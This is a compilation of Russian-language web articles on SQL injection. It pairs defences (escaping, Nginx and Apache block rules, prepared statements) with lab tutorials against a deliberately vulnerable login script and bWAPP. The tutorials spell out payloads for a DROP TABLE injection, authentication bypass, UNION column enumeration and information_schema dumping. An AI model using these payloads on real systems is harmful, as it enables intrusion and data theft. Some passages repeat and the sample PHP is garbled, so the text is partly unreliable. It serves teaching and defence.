Как делать sql инъекции. Что такое SQL инъекции. Приступаем к действиям

  • 20.06.2020

Перед тем как мы поговорим о том, как выполняется защита сайта от sql инъекций, нам нужно сначала разобраться что это такое и почему этот тип атак настолько опасен. Большинство современных сайтов уже делают все, чтобы на их страницах не было таких мест, через которые злоумышленник мог бы выполнить эту атаку, но все же иногда такие проблемы случаются даже на популярных ресурсах или в часто используемых движках.

Сегодня мы разберем что такое sql инъекция, как она работает, а также как с ней бороться, как на уровне языка программирования, так и с помощью создания различных помех для злоумышленника с помощью веб-сервера. Это тоже достаточно эффективно.

Как вы знаете, большинство сайтов интернета используют базу данных для хранения информации. Не удивительно, что во время формирования страницы выполняются запросы к базе данных. И тут вроде ничего такого нет, если не считать то, что при формировании запроса могут использоваться данные, введенные пользователем. Например, при создании комментария, поиске или даже переходе на другую страницу.

И тут появляется возможность для SQL инъекции. Если пользователь введет в поле определенный запрос, то он сможет создать свой запрос к базе данных. Это позволит ему делать практически все, что угодно, украсть ваши данные, стереть базу, получить доступ к паролям пользователей, добавить новых пользователей и все что ему будет угодно.

Например, вот так выглядит SQL запрос запроса id статьи при поиске:

SELECT id,title,content FROM posts WHERE title LIKE "%запрос_пользователя%"

А теперь представьте, что пользователь вместо ключевых слов из статьи введет такую комбинацию:

1%"; DROP TABLE posts LIKE "%;

И в результате получится такой себе полностью рабочий запрос, которого вы совсем не ожидали:

SELECT id,title,content FROM posts WHERE title LIKE "%1%"; DROP TABLE posts LIKE "% %"

Это сработает с любым запросом, в котором есть ввод данных пользователей, если программист не позаботился о безопасности. Следовательно, чтобы решить эту проблему нужно просто экранировать все кавычки в запросах от пользователя. А теперь перейдем к способам защиты.

Защита сайта от sql инъекций на уровне PHP

Защита от sql атак может выполняться различными способами. Первое, на что стоит обратить внимание и что очень важно - это чтобы программист уже во время написания кода занимался экранированием кавычек с помощью таких функций, как mysql_real_escape_string или mysqli_real_escape_string. Если каждая переменная, которая используется в запросах к базе будет профильтрована ими, программистом или на уровне CMS, то никаких проблем не возникнет.

Но почему же на протяжении последних 14 лет все еще случаются атаки на SQL? Все просто. Программисты ленивы, а делать небезопасные запросы к базе так просто, в то время как безопасные - более сложны. Во всяком случае, сложнее, чем небезопасные.

Защита на уровне веб-сервера

Не всегда есть возможность исправить все недоработки в коде. Например, популярный движок Drupal имеет более 20 000 строк кода, WordPress - 60 000, а Joomla - 180 000. Было бы нецелесообразно все это переписывать. Но можно поступить по-другому. Сначала мы отфильтруем все значения из переменной REQUEST в самом начале скрипта. Вставьте этот код после подключения базы данных:

if (!function_exists("clean")) {
if (get_magic_quotes_gpc()) {
function magicquotes_Stripslashes(&$value, $key) {
$value = stripslashes($value);
}
$gpc = array(&$_COOKIE, &$_REQUEST);
array_walk_recursive($gpc, "magicquotes_Stripslashes");
}
function clean(&$value, $key) {
//эта функция экранирует все кавычки.
$value = mysql_real_escape_string($value);
}
}
$req = array(&$_REQUEST);
array_walk_recursive($req, "clean");

Для PHP 7 вам нужно будет использовать функцию mysqli_real_escape_string, поскольку расширение mysql было удалено из этой версии языка. Для экранирования кавычек используется лишь функция clean и все что ниже нее. То что выше применяется для совместимости с версиями PHP ниже 5.4. В них была настройка Magic Quotes, которая при включении экранировала все кавычки. Чтобы наш скрипт все не портил мы сначала все убираем экранирование если она включена.

Теперь у вас есть дополнительная защита на уровне PHP. Осталось еще позаботиться про защиту на уровне веб-сервера. Если вы используете Nginx, то можно добавить такие правила в вашу секцию server:

set $block_sql_injections 0;
if ($query_string ~ "union.*select.*\(") {
set $block_sql_injections 1;
}
if ($query_string ~ "union.*all.*select.*") {
set $block_sql_injections 1;
}
if ($query_string ~ "concat.*\(") {
set $block_sql_injections 1;
}
if ($block_sql_injections = 1) {
return 403;
}

Здесь мы отфильтровываем все запросы, которые содержат слова select, concat вместе с кавычками. Это явный признак, что пользователь пытается выполнить SQL инъекцию, а значит его запрос нужно заблокировать.

Также вы можете блокировать подозрительные адреса на уровне веб-сервера Apache, например, выбрать самые часто употребляемые ключевые слова SQL. Правда, это опасно, поскольку могут быть заблокированы и запросы обычных пользователей. Добавьте в вашу секцию VitualHost такие строки:

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z]
RewriteRule (.*) - [F]

Но это еще не полное решение, здесь можно пойти дальше. Эта блокировка не защищает от SQL инъекций, выполняемых с помощью POST или RESTful запросов. Еще можно активировать модуль mod_security:

sudo a2enmod mod_security

Здесь тоже есть несколько правил, которые защищают от инъекций. Но желательно использовать еще и более комплексный подход.

Разделение базы данных

Чтобы сделать вашу базу данных более безопасной, вы можете разделить ее на несколько частей. В области информационной безопасности существует такое понятие, как принцип минимальных привилегий. Суть принципа состоит в том, что программа или пользователь должны иметь доступ только к тому, что им нужно и нечему больше. Например, будет разумно хранить данные о кредитных картах пользователя и форумы в разных базах данных. Особенно, если формы используют устаревшую версию phpBB. Это своеобразная дополнительная защита sql injection.

Анализ запросов перед приложением

Еще один вариант - это использования более сложных систем защиты. Это может быть аппаратное решение, которое работает поверх iptables или ipfw или же система обнаружения вторжений на сервере HIDS, такая, как OSSEC. Но такое решение намного сложнее, чем нужно и не предназначено для решения нашей задачи. Можно использовать специальные брандмауэры веб-приложений, с помощью которых, в том числе, выполняется защита от SQL инъекций. Это такие свободные решения, как ModSecurity или IronBee.

Выводы

Нет идеального решения или волшебной палочки, с помощью которой бы получалась стопроцентная защита сайта от sql инъекций, хотя PHP стремится быть все более защищенным. Начиная с версии 7.0 была удалена поддержка расширения MySQL. Теперь необходимо переходить на MySqli или PDO. И это хорошо, потому что эти расширения делают проще использование данных с подготовленными операторами. Хотя для этого все еще требуется написать несколько строк.

Существует множество способов выполнения SQL атак, но до тех пор, пока разработчики не будут писать правильный код, а на веб-серверах не будут на максимум использоваться средства защиты, эти атаки не исчезнут из списка ТОП 10 OSWAP. Настройте вашу систему так, чтобы защитить свои данные и базы данных.

Похожие записи:


Суть SQL-инъекций

Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом - раз - за пять минут - рисуем оставшуюся часть совы ».

Вот даже картинка по этому поводу есть:

По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные). При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…

Цель этой заметки - натянуть глаз на сову дать нормальное просто объяснение, что же такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны .

Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:

Для доступа к Бобруйской районной библиотеке введите Ваши учётные данные:

Введите ваше имя

Введите ваш пароль


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); } $name = filter_input(INPUT_GET, "name"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) { while ($obj = $result->fetch_object()) { echo "

Ваше имя: $obj->name

Ваш статус: $obj->status

Доступные для Вас книги: $obj->books


"; } } else { printf("Ошибка: %sn", $mysqli->error); } $mysqli->close(); ?>

Вы намного больше поймёте, если будете всё делать вместе со мной. Поэтому вот . В нём два файла: index.php и db_library.sql . Файл index.php разместите в любое место на сервере - это и есть наш уязвимый скрипт. А файл db_library.sql нужно импортировать, например, при помощи phpMyAdmin.

В файл index.php в качестве имени пользователя базы данных задан root, а пароль - пустой. Вы можете вписать свои данные, отредактировав строчку:

$mysqli = new mysqli("localhost", "root", "", "db_library");

По легенде, это форма входа в он-лайн версию Бобруйской районной библиотеки. Нам уже дали учётные данные: имя пользователя - Demo, пароль - 111 .

Давайте введём их и посмотрим:

Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.

Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:
Слово SELECT в SQL-запросе показывает, какие данные нужно получить. Например, можно было бы указать SELECT name, или SELECT name, password. Тогда в первом бы случае из таблицы было бы получено только имя, а во втором - только имя и пароль. Звёздочка говорит, что нужно получить все значения. Т.е. SELECT * - это означает получить все значения.

FROM говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.

Далее WHERE , если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае

(name = ‘$name’) AND (password =’$password’)

означает, что условие будет истинным, если переданная переменная $name будет равна значению поля name в таблице и переданная переменная ‘$password будет равна значению поля password в таблице. Если хотя бы одно условия не выполняется (неверное имя пользователя или пароль), то из таблицы ничего не будет взято., т. е. выражение SELECT * FROM `members` WHERE name = ‘$name’ AND password =’$password’ означает: в таблице `members` взять значения всех полей, если для них выполняется условие - совпадают переданное имя пользователя и пароль с теми, которые встречаются в таблице.

Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:

Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Никакие данные не получены, вместо них мы видим ошибку:
При введении верных данных, наш запрос выглядел так:
При добавлении кавычки, наш запрос превращается в следующее:
Я поставил дополнительные пробелы для наглядности, т. е. у нас получается запрос
кстати, запрос верный по синтаксису. И сразу после него, без каких либо разделителей идёт продолжение запроса:

" AND password ="111"

Оно-то всё и ломает, поскольку количество открывающих и закрывающих кавычек не равно. Можно, например, подставить ещё одну кавычку:
Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?

Ответ есть - это комментарии.

Комментарии в MySQL можно задать тремя способами:

  1. # (решётка - работает до конца строки)
  2. - (два тире - работают до конца строки, нужен символ пробела после двух тире)
  3. /* это комментарий */ группа из четырёх символов - всё, что внутри - это комментарий, всё, что до или после этой группы символов, не считается комментарием.
Давайте в наш запрос с одной кавычкой, после этой кавычки поставим знак комментария, чтобы отбросить хвостик, и знак +, который обозначает пробел, чтобы запрос получился таким:
Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Ошибка не только исчезла, но и выведены корректные данные для пользователя Demo. Поскольку теперь наш запрос приобрёл вид
ведь хвостик -+ ‘ AND password =’111’ превратился в комментарий и больше на запрос не влияет.

Посмотрите ещё раз внимательно на новый запрос:
И в нём больше не проверяется пароль! Т.е. зная имена легитимных пользователей, но не зная их паролей, мы можем просматривать их личные данные. Т.е. мы уже начали эксплуатировать SQL-инъекцию.

К сожалению, я не знаю ни одного легитимного имени и мне нужно придумать что-то другое.

Посмотрим внимательно на эту часть запроса:
Помните про AND, которое используется в первом запросе? Оно означает логическую операции «И». Напомню, логическая операции «И» выдаёт «истина» (1) только если оба выражения являются истиной. Но логический оператор «ИЛИ» выдаёт «истина» (1) даже если хотя бы одно из выражений является истиной. Т.е. выражение
всегда будет истиной, всегда будет возвращать 1. Поскольку одно из двух сравниваемых выражений всегда возвращает 1.

Т.е. нам нужно составить выражение, которое будет выгладить так:
Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OR 1 -+ &password=111

Результат:

Результат отличный! Мы получили список всех записей в таблице.

ORDER BY и UNION - главные друзья SQL-инъекций

Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!

UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь. Но вот для SQL-инъекций ценнее этого слова нет.

UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:

Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &password=111

Запрос выглядит так:
Мы заменили имя пользователя на -1 чтобы не выводились никакие данные.

Ошибки нет, также нет ошибки и при запросах
А вот запрос
ему соответствует адресная строка

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &password=111

Выдал ошибку

Это означает, что из таблицы выбираются данные по пяти колонкам.

Конструируем наш запрос с UNION:

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях - не очень важно. Можно, например, прописать просто цифры - и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.
Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:
Все они будут вызывать одну и туже ошибку:

Делайте так пока не исчезнет сообщение об ошибке.

Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции, которые можно писать непосредственно в UNION:

  • DATABASE() - показать имя текущей базы данных
  • CURRENT_USER() - показывает имя пользователя и имя хоста
  • @@datadir - выводит абсолютный путь до базы данных
  • USER() - имя пользователя
  • VERSION() - версия базы данных
В нашем примере выводятся поля 2, 4 и 5. Т.е. мы можем использовать любое из этих полей.

Используем DATABASE() в UNION SELECT

Адрес:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Результат:

Получение имён таблицы, полей и дамп базы данных

В базе данных information_schema есть таблица, которая называется tables . В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema название нашей базы данных - ‘db_library’ (имя мы узнали с помощью DATABASE()).

Это называется полная техника UNION. Материала по ней предостаточно в Интернете. На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка
Не работает не из-за кривизны рук, поскольку у sqlmap также эта техника не приносит результатов:

Something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique

Возможно, это связано с версией MySQL 5.6. Т.к. привести практических примеров я не могу, а переписывать чужие неработающие команды мне не интересно - сейчас и без меня в Интернете развелось «великих теоретиков» сколько угодно, то я решил сразу перейти к рассмотрению частичной технике UNION. Но это не самая простая техника, да и статья уже получилась достаточно большой.

В следующей части статьи мы изучим частичную технику UNION, с её помощью мы получим все данные на сервере: имена баз данных, имена их таблиц и полей в этих таблицах, а также их содержимое. Пока ждёте появления второй части - тренируйтесь, почитайте о SQL-инъекциях и технике UNION, дополнительно рекомендуются к ознакомлению следующие статьи:

П.с. ах да, забыл про LIMIT. Тоже в следующий раз расскажу о роли LIMIT в SQL-инъекциях.

Хотя по-прежнему очевидно, что взломщик должен обладать по крайней мере некоторыми знаниями о структуре базы данных чтобы провести успешную атаку, получить эту информацию зачастую очень просто. Например, если база данных является частью open-source или другого публично доступного программного пакета с инсталляцией по умолчанию, эта информация является полностью открытой и доступной. Эти данные также могут быть получены из закрытого проекта, даже если он закодирован, усложнен, или скомпилирован, и даже из вашего личного кода через отображение сообщений об ошибках. К другим методам относится использование распространенных (легко угадываемых) названий таблиц и столбцов. Например, форма логина, которая использует таблицу "users" c названиями столбцов "id", "username" и "password".

Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Не доверяйте никаким вводимым данным, особенно если они поступают со стороны клиента, даже если это списки в форме, скрытые поля или куки. Первый приведенный пример показывают, как подобные запросы могут привести к катастрофе.

  • Никогда не соединяйтесь с базой данных, используя учетную запись владельца базы данных или суперпользователя. Всегда старайтесь использовать специально созданных пользователей с максимально ограниченными правами.
  • используйте подготовленные выражения с привязанными переменными. Эта возможность предоставляется расширениями PDO , MySQLi и другими библиотеками.
  • Всегда проверяйте введенные данные на соответствие ожидаемому типу. В PHP есть множество функций для проверки данных: начиная от простейших функций для работы с переменными и функций определения типа символов (таких как is_numeric() и ctype_digit() соответственно) и заканчивая Perl-совместимыми регулярными выражениями .
  • В случае, если приложение ожидает цифровой ввод, примените функцию ctype_digit() для проверки введенных данных, или принудительно укажите их тип при помощи settype() , или просто используйте числовое представление при помощи функции sprintf() .

    Пример #5 Более безопасная реализация постраничной навигации

    settype ($offset , "integer" );
    $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset ;" ;

    // обратите внимание на формат %d, использование %s было бы бессмысленно
    $query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;" ,
    $offset );

    ?>

  • Если на уровне базы данных не поддерживаются привязанные переменные, то всегда экранируйте любые нечисловые данные, используемый в запросах к БД при помощи специальных экранирующих функций, специфичных для используемой вами базы данных (например, mysql_real_escape_string() , sqlite_escape_string() и т.д.). Общие функции такие как addslashes() полезны только в определенных случаях (например MySQL в однобайтной кодировке с отключенным NO_BACKSLASH_ESCAPES), поэтому лучше избегать их использование.
  • Ни в коем случае не выводите никакой информации о БД, особенно о ее структуре. Также ознакомьтесь с соответствующими разделами документации: "Сообщения об ошибках " и "Функции обработки и логирования ошибок ".
  • Вы можете использовать хранимые процедуры и заранее определенные курсоры для абстрагированной работы с данными, не предоставляя пользователям прямого доступа к данным и представлениям, но это решение имеет свои особенности.

Помимо всего вышесказанного, вы можете логировать запросы в вашем скрипте либо на уровне базы данных, если она это поддерживает. Очевидно, что логирование не может предотвратить нанесение ущерба, но может помочь при трассировке взломанного приложения. Лог-файл полезен не сам по себе, а информацией, которая в нем содержится. Причем, в большинстве случаев полезно логировать все возможные детали.

SQL-инъекция для новичков

SQL-инъекция - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" AND password ="111"

Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = "Demo") и (AND) значение поля password равно величине 111 (password ="111").

Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = "Demo" AND password ="111" является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

При этом значения «Demo» и «111» приложение получает от пользователя - например, в форме входа на сайт.

Предположим, что вместо Demo пользователь ввёл такую строку:

Demo" --

Тогда запрос к базе данных будет иметь вид:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- " AND password ="111"

Две чёрточки (-- ) - означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть " AND password ="111"

Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo"

В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

Эксплуатации SQL-инъекции

Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Комментарии в MySQL начинаются с символов:

Т.е. вместо

Demo" --

можно было бы ввести

Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

Demo" OR 1 --

то получится запрос

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1 -- " AND password ="111"

Уберём закомментированную часть:

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1

Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

В нашем примере после введённого значения Demo мы ставили одинарную кавычку ("), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

Для запросов с цифрой:

SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

Для запросов со строкой:

SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

то имя пользователя

не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

Для такого запроса (используются одинарные кавычки и круглые скобки):

SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")

нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

Demo") #

Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

Стиль ошибок MySQL:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\"" at line 1

Ошибка в MSSQL ASPX:

Server Error in "/" Application

Ошибка в MSAccess (Apache PHP):

Fatal error: Uncaught exception "com_exception" with message Source: Microsoft JET Database Engine

Ошибка в MSAccesss (IIS ASP):

Microsoft JET Database Engine error "80040e14"

Ошибка в Oracle:

ORA-00933: SQL command not properly ended

Ошибка в ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Ошибка в PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near """ Position: 1 или Query failed: ERROR: syntax error at or near """ at character 56 in /www/site/test.php on line 121.

Ошибка в MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string

Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

Практический пример простой SQL-инъекции

Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

Выбираем баг «SQL Injection (GET/Search) »/

От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

Iron Man"

Результат

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1

Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

Iron Man"

Результат

Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

Iron Man" OR 1 #

Результат:

Определение количества столбцов таблицы с помощью ORDER BY

Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

Iron Man" AND 0 ORDER BY 1 # Iron Man" AND 0 ORDER BY 2 # Iron Man" AND 0 ORDER BY 3 # ……………………… ……………………… ……………………… Iron Man" AND 0 ORDER BY 7 #

Iron Man" AND 0 ORDER BY 8 #

получен следующий результат:

Error: Unknown column "8" in "order clause"

Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

Iron Man" AND 0 UNION SELECT 1 # Iron Man" AND 0 UNION SELECT 1,2 # ……………………… ……………………… ……………………… Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Объединение запросов с UNION SELECT

UNION позволяет объединять результаты в один от нескольких выражений SELECT .

Конструируем наш запрос с UNION :

Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL - тогда вместо поля ничего не будет выведено.

Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции и переменные, которые можно писать непосредственно в UNION :

Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет

Ввод для получения имени базы данных:

Iron Man" AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

База данных INFORMATION_SCHEMA

В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA . Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

  • SELECT и FROM - уже знакомые элементы языка запросов к базам данных;
  • SCHEMA_NAME - имя запрашиваемого столбца;
  • INFORMATION_SCHEMA - имя базы данных, к которой делается запрос;
  • SCHEMATA - имя таблицы, в которой ищется запрашиваемый столбец.

Получение списка всех баз данных на сервере через SQL-инъекцию

Используя UNION , мы можем сделать запрос к базе данных INFORMATION_SCHEMA . Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT . Например, для первой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

Для второй строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

Для третьей строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

Для четвёртой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

Iron Man" AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

Желаемый запрос:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"

Где вместо tablenamehere нужно подставлять имя таблицы.

Например, нами получены следующий имена присутствующих в базе данных таблиц:

  • heroes
  • movies
  • users
  • visitors

Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"

Применительно к нашей уязвимости получаем ввод:

